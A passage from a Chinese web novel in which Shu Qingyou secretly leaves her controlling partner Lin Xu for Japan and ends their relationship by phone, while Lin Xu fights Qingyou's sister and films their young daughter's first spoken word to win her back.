身后是熙熙攘攘的中日文交替与脚步声,她低头,看了眼名字,需要短暂地隔断和以前的联系。 此时。 林絮朦胧醒来,一夜好梦,感谢舒清柚昨晚给她泡的牛奶,果真助眠,她惯性伸长手臂摸索枕边人,撒起娇,“宝宝,我们今天去游乐园” 枕头是空的,林絮心头一跳,瞬间清醒,她立即起身,先试探地喊:“舒清柚?!” 刚喊完,外面出现什么摔在地上的声音,她眉宇间的不耐烦隐去,是在给她做早餐吧。 也对,舒绒还要吃早餐呢。 她推开门,入眼没有任何人,刚才的声响是舒绒不小心将玩具掉在地上。 舒绒回头,迈开小步子来到林絮腿边,两只小手臂向上求抱抱。 林絮视线到处扫,随口应声:“好,乖女儿,抱抱。” 虽然家里大,但也不至于能藏住一个大活人,除了卧室洗手间,都是开放房间。 她抱着孩子坐在凳子上,拨通舒清柚的手机,铃声却在卧室内响起。 林絮呆呆地看向卧室门,大脑一时间没转过来,自言自语,“清柚呢?” 电话放在家,电子生物锁没有被盗的痕迹,舒清柚去买菜了?林絮没往更坏的地方考虑。 首先排除她主动离开她,绒绒还在呢,再怎么样都不会丢下孩子的。 没错,一定是这样,林絮心神不宁地咬住指骨关节,牙齿上下移动。 舒绒拍拍她的脸,指了指厨房。 林絮:“饿了?” 舒绒点点头。 怎么能不给绒绒做好早餐再出门呢,舒清柚可真的健忘啊,林絮笑了笑,等她回来,要好好惩罚她。 她简单做了两碗牛奶麦片,舒绒抓着喜欢的黄色小勺子慢慢舀到嘴里,林絮搅动着汤碗,象征性喝了口,皱眉,完全没胃口。 看了看时间,过去半小时,还没有舒清柚的任何消息。 她倏然站起,想到了最坏的可能性,出门遇到什么事故了? 毕竟她结了不少仇人,那些人不是善茬,对她身边亲近的人下手大有可能。 当即,她打了一连串电话,包括信得过的亲信。 林絮不想继续等,不能坐以待毙。 当机立断去了趟派出所找到熟人,然而查了许久,仍一无所获,也没有路人报警相关消息。 林絮结仇的最近都不敢得罪她,哪怕林絮没说,都知道她的舅舅一家在国外过的乞丐般的苦日子。 排除一切可能。 林絮坐在车里怔愣着,胃里仿佛有石头堵着,沉闷的想吐。 她握紧拳头,用力捶打方向盘,喇叭一直响个不停。 入魔似的,林絮打的个不停,直到舒绒在从后面,扯了扯她的衣服。 林絮蓦地扭动脖子,舒绒一无所知地睁着大眼睛。 你早上看到妈妈了吗,摇头点头。” 舒绒摇头。* 林絮抓紧方向盘,眼底冒火,真好啊,不告而别,连女儿都不要了。 不对 如果舒清柚主动失踪,那么林絮迅速掉转车头,快速驶向舒晚柠读的大学。 她记得舒晚柠的电话号码,唤出蓝牙,拨通舒晚柠手机。 “林絮,这么巧。”舒晚柠有点惊讶。 林絮愣了下,转而呵呵笑着,“巧?小姨子,你是不是知道些什么。” 另一边,舒晚柠在敲键盘,听到这个新奇的称呼,她只是顿了下,指尖慢动作敲下,显而易见多了份慵懒。 她轻松地说:“你是指,我姐离开你的事实吗?” 林絮方向盘没抓稳,她心脏跳漏一拍,“离,离开我?她是回你们外婆家了?” 舒晚柠这才记起林絮还不知道这事,“我姐是真的讨厌你啊,连房子卖掉了这事也没告诉你。” 林絮按捺不住,猛然踩紧刹车,车子呼啸在宽敞的国道,她阴沉地叱道:“你在说一遍?!” “我是说,”舒晚柠想喝口水的,她话头一转,“我凭什么要再说一次,还有,你别对孩子做不好的事。” “什么意思?” “意思就是,我姐她不想要你了,至于绒绒,按我姐的意思,你要养呢,就好好养着,不想养了,托付给我也行。” 林絮咬了咬牙,“你姐去哪了?” 舒清柚在电话里的笑声放肆欢乐,“不是吧你,我姐早就受够你了,你不知道吗?她忍你忍的好辛苦的。” 这比杀了她还难受,林絮鼻子立即泛酸,忍?不是真的,这一定不是真的。 她歇斯底里嗤声,“和我在一起她忍什么,她开心都来不及,你再胡说一句试试?!” “戳你肺管子了吧,如果不是忍你这么久,我姐有必要偷摸瞒着你走掉么?” “你再说一句试试看!” “我不止说一句,还要说十句,百句,有种你就找到我姐啊,略略略” 林絮怒火滔天拔下耳机摔在车窗上,深深地吸一口气,随后猛踩油门:“有病吧,不打招呼就走,有病,简直有病!” 对空气发火还不够,她对舒绒怒目而视,“你妈不要你了!” 舒绒不太懂不要的具体含义,她歪头歪脑坐在宝宝安全椅中,妈咪凶巴巴,好奇怪。 读幼儿园后,她知道什么妈妈妈咪词的意思,她们关系很亲密,然后有了她。 她是她们的小宝宝,老师说她是爱的结晶,舒绒牢牢记在记在心里。 所以她也要对妈妈妈咪好,舒绒张大嘴笑起来,眯着闪闪发光的眼睛。 “不是,你笑什么啊!”林絮一肚子火,这小家伙真是没心没肺,妈丢掉她了都不知道,傻的可爱。 转而想到女儿都没有妈妈了,她败下阵来,“行了啊,你也别难过,你还有我。” 舒绒见妈咪不再放大音量,她放空欣赏天空的云雾,思绪天马行空。 林絮愤愤不已,凭什么舒清柚一声不吭走掉,不负责任!不配获得她的青睐!不配当她老婆! 带着浓重的怨气,拉风的跑车风驰电掣驶入大学校园。 “开门!”林絮一只手还拉着孩子,她抬腿踢门,本就不结实的木门砰砰响,岌岌可危地震动着。 “我知道你躲在里面,舒晚柠,开门开门开门!” 动静过大惹得楼道里的学生纷纷跑来看戏吃瓜,没一会就聚集不少女生窃窃私语。 “她是谁啊,舒晚柠的仇家?” “你见过哪个寻仇的还带孩子的。” “确实,别说,这小女孩好可爱” 林絮瞪了一眼围观人群,吼道:“没错,就是来寻仇的,她包庇犯人!” 舒晚柠从卫生间跑来开门,猝不及防突然就变成了包庇嫌疑犯的同罪者。 她嫌丢人,把林絮放进来,幸好室友都回家了,她先是上下左右打量舒绒。 “绒绒,好久不见,”舒晚柠上前一把将舒绒捞起,亲了好几下,“小姨这里没有小蛋糕,等会带你去买哦。” 舒绒乖巧,林絮看不下去,难受地把女儿抢过来,打发到寝室的角落,“别在这搞其乐融融一家亲,你姐人呢?” 两手一空的舒晚柠不恼,坐在椅子上转笔玩,饶有兴趣地提起嘴角,“是我说的还不明白,还是你不肯认清事实啊。” “我姐溜之大吉啦,不和你玩幼稚透顶的过家家游戏咯。” 林絮大步上前,拳头握紧,抵在舒晚柠下颌前,挑衅,“她有病,你也有病!我问东,你说西,最后一遍,你姐呢?!” “呵” 舒晚柠想动手的心蠢蠢欲动,情绪愈发不爽。 “我本来一直觉得你只是坏,我现在才发现,你真的很蠢,我姐是真心喜欢还是受你钳制,你心里没数吗?” 从早上到过中午,林絮脑袋嗡嗡响不停歇,无法正常思考,她脱口而出,“搞笑啊,胡说八道,她喜欢我都来不及,你知道什么,她要是不喜欢我,干嘛给我生孩子。” 舒晚柠目光顿时一凛,“哦,看来你没听过,去母留子,你要是不死皮赖脸缠着我姐,我姐不知道过的多潇洒。” 林絮使劲攥紧她的衣领,恶狠狠道:“你是不是想死?!” 这么搞是吧,她毫不畏惧和林絮对视,轻飘飘地说:“至少不想死在你手里,想打架?” “那你要先掂量下自己的实力。” 说罢,林絮肚子忽然受到巨大撞击,她喉咙一紧,轰地撞到门板上,随之而来是难以置信的痛感。 她瞪着眼睛,“你敢打我!” 舒晚柠闲适站起身,扭动手腕,露出不屑的神情,“你活该啊。” 还没等林絮反击,舒晚柠凭借健康的身体,狠狠踢向林絮的膝盖。 本就刚恢复,林絮敌不过舒晚柠的突击,她膝盖酸软,狼狈地跪下,堪堪用手撑在地面。 林絮忍痛支起上身,眼底怒火熊熊燃起,上下排牙齿咬紧,“舒晚柠!你死定了!” “别,你可不能还手,关于我姐。” “什么?”林絮今天精神状况很差,听风就是雨。 舒晚柠不理她,回身,安抚舒绒,“绒绒先去卫生间坐一会,小姨和你妈咪在商量很大很大的事情。” 舒绒都惊呆了,她不太清楚妈咪为什么会和小姨打起来,但是小姨在对她笑,所以,应该没什么吧。 她听话的一步三回头,有点担心,妈咪刚才都快哭了,林絮朝她挥手示意快走,这才放心下来。 “好了,你快说,你姐怎么了?” 舒晚柠没说什么,上去对着林絮的脸就是一拳。 林絮趔趄几步,扶住宿舍床沿立稳。 脸上火辣辣的刺痛,从里到外源源不断袭来,她忍无可忍,高高扬起拳头,“你完了!” 在距离舒晚柠十公分的距离,舒晚柠不慌不忙说,“你不是想知道我姐的消息吗?” 林絮差点没刹住车,拳头一转带动整个人跌跌撞撞,半跪在地。 她抬起头,“好,你说,我保证不对你做什么。” “啧,”舒晚柠垂眸,好久没这么畅快过,看着曾经趾高气昂渣女,如今像条狗一样求她。 她乳腺都要通了。 舒晚柠眼珠子滴溜溜转动,“林絮,我们做个交易,你当沙包让我揍个爽,我就告诉你我姐在哪。” 林絮毫不犹豫,“没问题!” 舒晚柠没想到林絮答应如此爽快,难道她对姐有点真情?几秒后就释怀了。 江山易改本性难移。 舒晚柠掰着修长有力的指骨,扭动脖子,准备大展身手。 第74章 我不是离开你我想和你彻底分手。 舒绒小小一个坐在白色马桶盖上,捧着妈咪的手机,她听到些奇怪的声音,咚咚咚的,不过还好,不妨碍她看小动物视频。 “你,你打够了吧。” 林絮早就支撑不住,喘着粗气,单膝跪地,靠在墙边擦了下嘴角渗出的血迹。 才十多分钟,林絮这种千金大小姐的身子骨真废物啊。 舒晚柠眉梢挑起,甩甩泛红的指骨,“娇生惯养,我也就打了你脸一下,我下手有轻重。” 呸,林絮早在心里骂开,骂她还不能牵扯到祖宗十八代,真不解气,林絮没忘记被揍一通的初衷。 “呵,你开心就好。”林絮试着借力站起,一个动弹,下肢疼且抽筋,她眉心挤起。 还是瘫着吧,不丢人。 林絮缓解疼痛,一刻也不想等,张口就是:“你答应告诉我你姐去哪了。” 舒晚柠想了想她之前的说辞,摇头:“并没有啊,我只是泄露点我姐的信息,又不是光明正大把地址给你。” “你在骗我?!” 林絮胸口一疼,她攥紧拳头按在心口,又气又急,巴不得跳起来报复回去。 “别急啊,我说话一向算数。” 说着,舒晚柠掏出手机,低下头拨通一串号码,这会姐应该下机了。 “喂,姐,你到日本了没有人来接你哦,那行我看到绒绒了,她挺好的嗯” 林絮听她和舒清柚唠嗑都快把她当透明人了,连忙出声提醒,“别忘了我。” 舒晚柠睥睨了眼林絮,看在她愿意被揍的份上,听筒外放,缓缓开口,“姐,林絮找到我宿舍来了,我没办法,和她打了一架” “不是的,我被你妹暴揍一顿,被打到不成人样,好疼,从头到尾都好痛。” 舒清柚愣了下,她知道妹妹向来勇猛,林絮打架输了也正常。 “柠柠,你没受伤吧。” 还得是亲姐妹,就是关心她,舒晚柠幸灾乐祸。 “姐,确实是林絮自愿被我打的,用来换取和你说话的机会,”舒晚柠瞪了林絮一眼,“好好说话,装什么可怜!哪有这么疼。” 听到舒清柚声音,林絮感觉都找到家了,鼻子抽了两下,呜咽着,“宝宝,我好想你,我外面疼,里面也疼。” 太肉麻了,叫什么宝宝,舒晚柠鸡皮疙瘩掉一地。 不如去逗小侄女玩。 她麻利地把手机扔给林絮,姐姐用的是一次性号码,反正林絮也追查不到。 林絮如获至宝,死死把住手机框,眼底红血丝密密麻麻,她颤声道:“你为什么要这么做?” 对面的舒清柚刚办理酒店入住,不太想和她认真讨论,随口问:“你身上的伤严重吗,柠柠应该有分寸的。” “不管有没有分寸,你能不能告诉我在哪?” 舒清柚:“你等下,电梯里没信号。” 电流声划过林絮耳膜,她目不转睛地等。 半晌,舒清柚没丁点感情,清冷的声线攫住林絮,“好了,关于这点,无可奉告。” 林絮心跳加快,浑身血液猛然涌入头顶,她愤懑道:“不打招呼就走,还无可奉告!好,你不管我可以,绒绒呢,你不要她了?!” 好吵,舒清柚将手机远离耳朵,这暴脾气,舒清柚不想再经历下去。 “等回国我会来接她,你是她妈咪,也该尽到责任。” “如果我不尽责呢?”林絮假意威胁。 舒清柚心生不快,语气带着浓浓的失望,“随你,我只是没想到你是这种人。” 林絮用力砸向地瓷砖,一阵刺痛蔓延,她知道不能逼舒清柚,她很快换上好声好气。 “对不起,我开玩笑的,我爱绒绒都还来不及呢。” 不知是真是假,舒清柚始终相信虎毒不食子,林絮平时不太靠谱,遇到大事自有主张。 “嗯,谢谢你。” 听着有缓和的迹象,林絮低声询问,“你可以告诉我你在哪吗?我去找你好不好,我保证不会干扰你。” 舒清柚揉着眉心,昨天晚上给林絮下安眠药,凌晨爬起床赶往机场,几个小时的旅途让她疲惫不堪。 “林絮,或许我该和你讲清楚,我不是离开你”她顿了顿说:“我想和你彻底分手。” 轰—— 林絮像是被五雷轰顶,劈天盖地的不可置信、茫然、夹杂着愤怒一并袭来。 “你说认真的?” “深思熟虑,没错,这几年生活也让我看清,爱情并不是全部,而这份爱情让我损失太多,有时我还因此变得人不人鬼不鬼的,太沉重了” 她说她们爱情是不堪的,带给她负担的,林絮认真将舒清柚的自白独自消化掉,好一会。 林絮眼眶泛红,她没哭,她不可能哭,为舒清柚这不告而别的混账女人哭,不值得。 “行啊,分手可以,我要你当面和我说分手。” 舒清柚默了默,冷声:“你葫芦里卖的关子我都晓得,是我本人和你说分手,何必见面。” 还得是舒清柚,足够了解她,林絮悲哀地低笑,“既然把话说开,那你不怕我找到你,我有的是手段。” 舒清柚当然知道她的逃跑不是万全之策,片刻,她叹气,“林絮,你真的是喜欢我这个人吗?或者,喜欢我带给你的感觉。” 林絮愣了,木讷地问:“当然是喜欢你,什么叫喜欢你这种感觉。” “你掌控欲太强,我性格软弱,很好被你控制,怎样都逃不开你手掌心,你不止喜欢,你非常享受吧。” 一针见血,林絮当场惊到后背冷汗涔涔,直击心底的发言只会让她紧张不已。 开口时也是哆哆嗦嗦,“不,我没有掌控你,你回来,或者我去找你,我们好好聊,我发誓,我不会做任何你不喜欢的事。” “但你现在做的事,我很不喜欢。” “我承认,我现在对你还有感觉,时间会冲淡一切的,你该好好沉淀,思考我们之间关系的始末,哪一次,不都是你强取豪夺吗?” “对于分手,你早晚都能放下,之前四年你不也照样过来了,这个世界本来就没有谁离了谁就活不下去。” 舒清柚连珠炮似的,来到异国她乡,身体疲乏,内心一点点开始充实,她有了要去完成的理想。 时间分秒过去,舒清柚安静等林絮的回复,但只得到长短不一的喘息声。 她只好下达最后通牒,“你不说话,我就挂电话了,这个号码你追踪不到。” “最后问一句,你曾经爱过我吗,我要听实话,不是哄小孩的那种。” 都这份上了,林絮还在纠结这个无关紧要的事实,舒清柚实话相告:“刚在一起时,我爱你,后来就” “好,我明白了,”林絮打断了她,没勇气听完,她瓮声瓮气,“那就分手。” 电话发出短暂嘟音,舒清柚稍微有点吃惊,林絮竟然能这么快速明了理解她的意思。 老实说,她还真担心林絮会做出惊天动地的大事,居然轻而易举,三言两语就打发了林絮? 不可思议,比起这些,她接下来有一堆事要忙活,先睡一觉。 现在变得爱睡懒觉,也沾了林絮的光 林絮恍恍惚惚地保持原来的姿势,木偶似的一动不动,眼神空洞无光,手机孤零零地落在身边。 舒晚柠带舒绒回来看到的就是这一副颓废画面。 她上前踢了下林絮的小腿,“喂,要死的话也别赖我宿舍这。” 舒绒则是呆在舒晚柠后面,大眼睛里满是惊恐。 怎么纹丝不动的,舒晚柠又添了几脚。 林絮总算有了正常人的反应,她垂下的眼眸,缓缓掀起,黯淡的目光偏过舒晚柠的身影。 落在舒绒那张和舒清柚极为相似的脸上,她嘴角弯了弯,麻木地朝她招手。 “绒绒,过来,来妈咪这里。” 舒绒抓着手机扭扭捏捏,脚尖刚要抬起,舒晚柠拦在她们中间。 “林絮,你这笑,怪瘆人的,你要对绒绒做什么坏事。” 林絮迷茫眼神重新聚焦,平静地阐述,“她是我女儿,我答应舒清柚要照顾好女儿,等她回来接绒绒。” 舒晚柠仍是不肯退一步,她总觉得哪不对劲,一时半会想不出。 她皱着眉质问,“我姐她,没刺激到你吧。” “没有啊,我们和平告别,”林絮眨眨眼,笑着,“你想多了吧,我早就厌烦你姐了,真当她独一无二啊,搞笑。” 得,还是这么渣,舒晚柠倾身,碗大的拳头横在林絮眼前,“你敢对绒绒有半点懈怠,小心我这个不长眼。” 林絮厌烦地别开脸,“多大个人了,还用武力威胁,她是我女儿,我不对她好谁对她好,我发誓行了吧。” 即使林絮三指对天发誓,舒晚柠也只放一半的心,还有一半依然怀疑。 她不乐意地让出舒绒:“行,每天你都要给我汇报舒绒的行程,我负责监督。” 实际上是她姐的请求,当妈的哪能真置女儿于不顾的。 舒晚柠蹲下身,愧疚地说:“小姨不能给你买蛋糕了,对不起。” “下次小姨来看你,给你带好吃的好玩的。” 舒绒点点脑袋,林絮怕丢失宝物一样,一把将舒绒按在怀中,轻挑下颌。 “别唠叨了,我这就走,我们娘俩还要去吃豪华双人午餐。” 舒晚柠目带不信任,“你走的动?” “滚,关你屁事。” 说完,林絮用尽力气拖着身体,走出寝室,在舒晚柠和其她人看来挺滑稽的,像是苦情悲壮大戏。 一个腿一瘸一拐的女人,手牵可怜的小孩,步履维艰。 本来还有好心大学生帮扶一把,看到林絮钻进豪车,她们自觉僭越,纷纷靠后。 林絮屁股一沾到坐垫,她倒吸口冷气,锥心的痛刺来。 她看着副驾驶的绒绒,摸了摸她软软的脸蛋,绒绒听话地把脸依偎在她手掌心。 莫大的心酸奔涌直来,林絮眼圈再度绯红,伸出双臂,“绒绒,抱抱妈咪好吗?” 舒绒感知到妈咪的难过,她不知道发生了什么,低落乖顺地让妈咪抱,可是好紧。 紧到她难以呼吸,但舒绒不敢挣扎,发出难受的嘤咛。 她饿了,肚子咕咕乱叫,不知道妈咪听到没有。 想摸摸肚子告诉妈咪,她扭动小身体,发觉肩膀和脸变得湿漉漉的。 舒绒疑惑地仰起脖子。 无声豆大的泪珠滚到她的脸颊,滑到她的下巴,湿掉的地方,舒绒觉得很难受。 她没有办法制止,用手手擦也不管用,妈咪的眼泪好像永无止境,掉个不停。 她内心忽然产生手足无措的情绪。 妈咪,为什么哭哭? 第75章 孩子居然会说话了 若换作以前,她在失意之时,免不了声色犬马,日夜颠倒,此时,林絮只想哭个够,肆无忌惮。 本来觉得可以用来钳制舒清柚的女儿,竟带给她依赖的错觉,也许女儿真的有抚慰的作用。 林絮明白自己哭花脸很难看,用矿泉水浇在纸巾上擦拭好,和舒绒道歉:“对不起,妈咪失态了。” “谢谢绒绒。” 她再度抱紧这只软软小小的‘抚慰犬’,好可怜的孩子,年纪轻轻妈妈就丢下她不管。 舒绒心塞塞的,觉得妈咪今天很怪异,她瘪嘴表示难过。 她脸蛋因为呼吸不畅,显得红扑扑的,煞是可爱,林絮越看越心酸,像缩小版的舒清柚对她卖惨。 “我去给你买小蛋糕,你别哭哦。” 听到小蛋糕,稍微兴致高了些,但依旧怏怏不乐,她开始想妈妈,妈妈让她很安心,她也更喜欢妈妈身上的气味。 等回家就能见到妈妈了,抱着这种心情,舒绒的嘴角显出笑容。 第二天旭日照常升起,窗帘拉的紧实,要不是闹钟吵醒,林絮巴不得睡个天荒地老。 她快速伸手关掉闹铃,舒绒的脑袋埋在被窝,像一只小猫咪蜷在里面打呼。 林絮没由来愧对她,昨天回到家,舒绒刚开始若无其事玩耍,随时间流逝,天色渐晚,舒绒变得无比焦急。 她抓住小玩偶,不停的在玄关外徘徊,间隔几分钟,小短腿噔噔跑到林絮面前,指了指紧闭的门。 你妈妈不会回来了,林絮几度想告诉她真相,最后也只是用善意的谎言欺骗。 “妈妈出差了,上班知道吗,她去工作赚钱,赚了钱,才能给你买好多小蛋糕。” 舒绒默默听着,原来小蛋糕需要妈妈辛辛苦苦劳作。 失忆时,她总替代舒清柚照顾舒绒,现在帮她洗澡换睡衣时得心应手。 今天她约了顾怀愿见面,中午十一点,两人准时碰面,顾怀愿还是老样子风情万种。 落座后,林絮不发一言,脸色低沉的可怕,顾怀愿吃了一惊,打趣地心思也消减不少。 但林絮的女儿生的好看漂亮,穿的天蓝色的小棉袄,衬得脸蛋格外白嫩。 “绒绒,看看你要吃的,姨姨帮你点。”顾怀愿递过平板,上方显示品类多样的珍馐。 舒绒被妈妈搂了一早上,心里说不出的委屈,看到好吃的眼前一亮,没有犹豫。 正要点上去,一只手挡住她的视线。 “绒绒,以后一周只能吃一次小蛋糕。” 舒绒大为不解,妈咪不喜欢她了,眼睛眨巴两下,顿时溢出水光。 顾怀愿没有带孩子的经验,这一幕直接让她慌了,她赶忙送上纸巾,娇嗔地捶了下林絮的胳膊。 “小心我向你老婆告状,孩子吃点好吃的能把你吃破产啊。” 林絮一个眼刀过去,冷嗤:“你有本事就找到她。” 奇怪了,搬出这位姐还镇不住林絮,再看林絮要死不活的鬼样子,她八卦之心熊熊燃烧。 “你和她吵架了?” 林絮夺过平板,头也不抬,随便选了些热门菜,“没吵架。” “那你干嘛被人欠了你几千万的样子。” “我被甩了。” 顾怀念刚安抚好舒绒,手臂顿住了,第一反应没有难过,也不是开心,满满的都是吃瓜热情。 “快,详细说清楚,你还能有被甩的一天。” 普天同庆啊,顾怀愿当着受害者,为了不让林絮颜面扫地,刻意没继续嘲讽。 林絮白了她一眼,就想着看戏,没有一点对朋友的关怀,不过思来想去,她也确实没几个能说得上知心话的朋友。 简单将事情来龙去脉说清后,顾怀愿下巴都快惊掉了。 缓和半晌,她才愣愣地说:“我知道你渣,但没想到你真搞强制这一套,你确实牛。” 顾怀愿竖起大拇指,“你家Omega没报警抓你,她真是大善人,白莲花转世。” 林絮不想听她话里话外带刺的言语,问:“能不能帮我找个办法挽回?” 听罢,顾怀愿直起腰板,到了她可以刷威风的环节,她故作高深:“你是在求我吗?” “是。”林絮低眉顺眼回答。 啧,好卑微,爱情真能让一个高傲的神经病放低姿态,低到尘土里。 “不过说不通啊,她不见得是会对孩子不负责的类型。” “所以我每天都要向她妹汇报舒绒基本状况。” 顾怀愿若有所思地伸出手,摸摸下颌,“我和你家那位接触不多,不过给人印象吧她是个好人,还很老实。” 林絮无语:“这和重新挽回有什么关联?” 真是榆木脑袋,顾怀愿左右硬是不说,故意卖关子,瞧林絮像热锅上蚂蚁的样子好逗。 她问她菜怎么还没上来,林絮不耐烦:“我怎么知道,难道要我去厨房帮你给厨师加油打气?” “哦,那这样最好了。” 林絮:“” 她确实去了,这一去效率极高,她给餐厅老板,也是她的熟人,通了个电话,十分钟不到菜就上齐活了。 顾怀愿笑着用公筷夹了些虾仁放到舒绒碗里,孩子是无辜的,感觉像被两个妈妈踢皮球。 自从舒清柚和她分手,除了喝水解渴,她几乎感觉不到饿,草草吃了几口蔬菜完事。 她的眼神一瞬不瞬,盯着顾怀愿,顾怀愿吃饭的心情被她搅合的乱七八糟。 “行了行了,多大点事,搞得和世界末日一样。” 林絮认同世界末日的说法,舒清柚觉得一个人没有另一个人,日子还能照样过。 行尸走肉的过活,世界一片灰暗,林絮不敢苟同她的话。 林絮面带不悦:“行,顾大小姐,依你之见,看来办法很多。” 顾怀愿只送她几个字:真诚是最大的必杀技。 这顿饭,顾怀愿蹭的挺开心,恶人有恶报嘛,林絮那家伙尝到了被爱人抛弃的苦。 林絮觉得顾怀愿在说废话,她还不够真诚?银行卡密码都告诉舒清柚,房子车子,她任何都愿意双手奉上。 不够真诚?笑话。 一路上,林絮心头阴霾难消,舒绒也跟着垂下小脑袋。 舒绒很聪慧,上课时老师讲的她都听进去了,虽然都是三四岁的小孩,但她们懵懂中开始产生属性意识,也知道有些同学没有妈妈。 不仅如此,同学之间的闲言碎语也一并保留在她脑海中。 班上还有同学会羡慕她,每天上下学都是妈妈妈咪来接。 舒绒缩成一小只抠手指,一会看看窗外,又往林絮方向小心投去视线。 林絮空出一只手,抚上女儿头顶,“怎么了?” 没回应,哦,她忘了,女儿还不会讲话。 舒绒不太对劲,到家后,女儿还在抠手指,林絮分开她的双手,“绒绒,你是知道些什么吗?” 又是一阵沉默。 林絮咬牙,狠心道:“绒绒,如果见不到你妈妈,你会怎么办?” 舒绒不可置信睁大双眼,片刻,她猛地用脑袋林絮撞去,林絮迅速把她提起来,放到腿上。 “你在害怕,还是不相信我?” 舒绒蹙着眉心,坚持不懈地用脑袋撞,她也不知道,她就想撞妈咪。 林絮的胸部都不知道被女儿摧残多少回,她也不阻拦,就等女儿发泄完。 不知多久,舒绒开始头疼,委屈巴巴地停下来。 林絮看着舒绒都快哭了,揉了揉她作恶多端的小脑袋,细软的短发弄得乱糟糟,和鸡窝不相上下。 难得笑出声:“绒绒,你好像个流浪在外的小宝宝。” 舒绒懂这个词,她感觉肚子里有好多水在翻滚,特别酸。 妈咪说她小流浪,妈妈也不要她。 想到妈妈,她双手抓着林絮的上衣,张嘴,放声大哭。 林絮听过别的小孩哭,都好吵闹,舒绒的哭腔却是奶里奶气,像被欺负的小奶猫。 她心脏骤然紧缩,还是心疼女儿的,舒清柚要是看到这幕,肯定要把她骂一顿。 “妈妈” 帮她擦眼泪的手猛地僵住,林絮以为自己走神产生幻觉,她耳朵靠近女儿嘴边。 “绒绒,你刚在说话吗?” 舒绒坚持不懈哭,哭到不能自已,小鼻子红彤彤的直抽。 林絮不断催促她,舒绒不得已重复了妈字。 她顿时喜出望外,慌忙拿出手机录音,“来,再说一遍,我发给你妈妈听。” 舒绒愣住了,不是妈妈不要她了吗? 见女儿迟迟不给答复,林絮急了,这可是接近舒清柚的好机会。 “绒绒,妈妈听到你叫她妈妈,她会很快回来哦。” 林絮忽悠起来特别没个准信,舒绒又怎么知道,她听到妈妈很快回家,抬起手臂,抹了把鼻子流出来的鼻涕。 好脏林絮忍不了,把她抱到卫生间帮她搓好脸。 光是录音还不够,拍个短视频更直观。 她要让舒清柚知道错过了什么,三岁了,这恐怕是舒绒第一次说话。 拍短视频前,必须要做好准备工作。 她走向橱柜,给舒绒换上不同的睡衣做最优选。 林絮把舒绒当奇迹绒绒,不愧有她和舒清柚的基因,从小就是美人坯子,她精挑细选了套黄色小鸭子的睡裙。 舒绒一无所知,手里也莫名其妙被塞个抱枕,林絮选好催泪bgm,举起手机。 “站着不要动哦,绒绒,来,叫,妈妈。” 第76章 绒绒,你妈妈是不是不爱我了。 视频拍摄并不顺利,舒绒说话音量低的必须贴到她脸上,手机离得太近也不行。 没办法,林絮不知从哪搞到个麦克风,别在小孩睡衣上,舒绒被她折腾的够呛,坐在沙发上摇摇欲坠。 林絮单手扶正脑袋沉沉的女儿:“坚持住,坚持就是胜利,你也想妈妈听到你叫她吧。” 没错,妈妈就是她的动力,舒绒小小年纪,无形中学会懂事,知道要讨好妈妈,这样才能看到妈妈。 就着麦克风的扩音,舒绒简短的妈字录进了视频。 林絮第一时间在v信里联系舒晚柠,名为:爱情路上最大的绊脚石。 林絮:【在吗?】 舒晚柠瞥了眼,已读不回。你能拿我怎么办的态度? 林絮等待半晌,想保留尊严,暂且先不发视频,打开外卖软件,勾勾手指。 “绒绒,我饿了。” 在餐厅吃饱喝足的舒绒迟疑着,缓慢挪动小步,怯生生地看向林絮。 妈妈不在,妈咪行为奇奇怪怪的,一会笑一会哭,直把舒绒吓到不敢随便抱妈咪。 有生以来,舒绒第一次感受到孤立无援。 林絮拍拍腿,舒绒打个颤,乖巧爬到她身上。 本来打算请女儿吃点好的,但一瞧女儿噤若寒蝉的表情,小嘴紧紧抿着。 她紧张地观察女儿,探探额头,捏捏小脸,幸好一切正常,还是这么萌萌哒。 舒绒好端端的,由林絮乱鼓捣,她思忖着,慢慢爬向沙发的角落,林絮看着女儿犹如小猫匍匐爬行,行为怪异。 她摇摇头,算了,女儿懦弱也没关系,会叫妈妈已经是林絮得到最大的福报。 随便吃了点东西,依然食之无味,她开始担心自己是不是患上味觉失灵。 舒晚柠没回复她。 林絮:【我知道你和你姐保持着联系,你把我打到生活不能自理,所以有义务责任帮我联系她。】 还给她长脸了,打她是为姐姐出气,舒晚柠发去翻白眼表情包。 对方秒刷屏十个愤怒猫猫重拳出击jpg。 光从表情包就能体会到林絮的愤怒,昭然若揭。 舒晚柠:【还没被打够,皮痒?我姐反正也不会疼爱你爱你心疼你。】 林絮听到自己的玻璃心哐当一声,碎成渣渣,拼不回来了。 但她身残志坚,不能被爱情失败打倒,抱着再接再厉失败乃成功之妈的心态,林絮忍辱负重,没爆粗口。 【我没闲工夫陪你扯,有视频为证。】 什么视频?舒晚柠瞅了眼二十来秒的时长,点开,看视频*也不会掉块肉。 伴随矫情的bgm响起,舒晚柠懒懒的眼睛,瞬间瞪圆。 出大事啦,舒绒居然开口说话了,而且还是惨兮兮地喊妈,虽然只有一个字。 最后的五秒镜头画面一转,林絮眼角红肿,眉眼低垂对着屏幕,可怜巴巴:“我好开心绒绒叫妈妈,好可惜,你不是第一个听见的你别难过,我希望你一切都好。” 不明真相的人基本上都会被打动,视频里显得舒清柚像是抛妻弃子的渣女,不用怀疑了,林絮就是用的苦肉计。 好奸诈的手段,利用一切可以利用的,连女儿也不放过。 舒晚柠:【算你运气好,行,我把这视频发给我姐,看她怎么说。】 要不就说当沟通桥梁的好处,她就算动手脚也没无人发现,比如舒晚柠满脸不屑,坐在电脑前奋力快速剪切视频。 小小林絮,剪的就是你这副装乖卖惨的嘴脸,一刀切,只留下她最最最可爱的宝贝侄女片段。 舒晚柠咧着嘴,沉浸在帮姐姐报复林絮的快感中不可自拔。 另一边,林絮沾沾自喜,她总算可以在舒清柚那有个加分项了。 还记得当时舒清柚告诉她,她和她敲定加分项目,改正一点,加分,恐怕她在舒清柚的心里是负数。 林絮前所未有的危机感袭来。 她看着抱宠物叠积木的女儿,不禁上前,舒绒畏惧地缩着肩膀。 事已至此,林絮只好苦口婆心:“在这种紧急状况下,你是怎么玩的下去玩具的。” 舒绒:“” 她看了看玩具,手上还有一块积木,妈咪又不开心了怎么办? 林絮不懂女儿婉转的心思,直接拿过,帮她搭建成大厦。 “乖女儿,知道你无聊,带你去长长见识。” 不啊,我觉得玩具很好玩,但舒绒还是不说话,她身子一轻,怀里的宠物一跃而下。 林絮为两人换上轻便的服装,带女儿出门,所谓的长见识,就是来到八百年都没回过的公司 舒清柚第二天动身拜访八神老师,工房坐落在山间小镇外,古旧,打理得极其洁净的木质房屋。 刚到此处,舒清柚内心产生久违的心安。 